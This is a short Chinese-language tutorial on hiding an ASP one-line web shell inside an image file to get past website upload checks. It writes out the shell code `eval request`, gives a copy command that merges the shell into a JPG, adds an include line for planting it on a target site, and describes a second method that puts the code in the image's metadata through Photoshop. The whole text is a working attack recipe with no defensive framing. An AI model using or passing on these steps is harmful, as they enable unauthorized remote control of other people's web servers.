图片木马绕过站点上传文件检查

第一种方法：
利用copy命令
详细操作为
1.随便找一张图片 名字改成1.jpg（名字改为1.jpg只是为了方便记忆和输入 文件的后缀随意 只要是图片的格式就可以了）
2.<%eval request(“keio”)%> 存为1.asp（就是一句话木马）
3.copy 1.jpg /b + 1.asp /a 2.jpg

解释一下代码
复制当前目录下的 1.jpg 图片和当前目录下的 1.asp 文件并以ASCII代码的方式合并为 2.jpg 图片
运行 1.bat 就会出现一个图片 2.jpg
而这个2.jpg就是已经做好的木马了

把一句话木马合并到了图片里以后
再把以下代码插入目标网站的任意文件即可
<% #include files=”2.jpg”%>

第二种方法：
1.用PS（photoshop）打开图片

2.文件→文件简介
插入你需要的木马代码

3.文件→保存（保存：覆盖源文件 你也可以另存为你想要的其它格式）

改为图片后缀可以正常打开
改为asp后缀木马也可以使用菜刀正常连接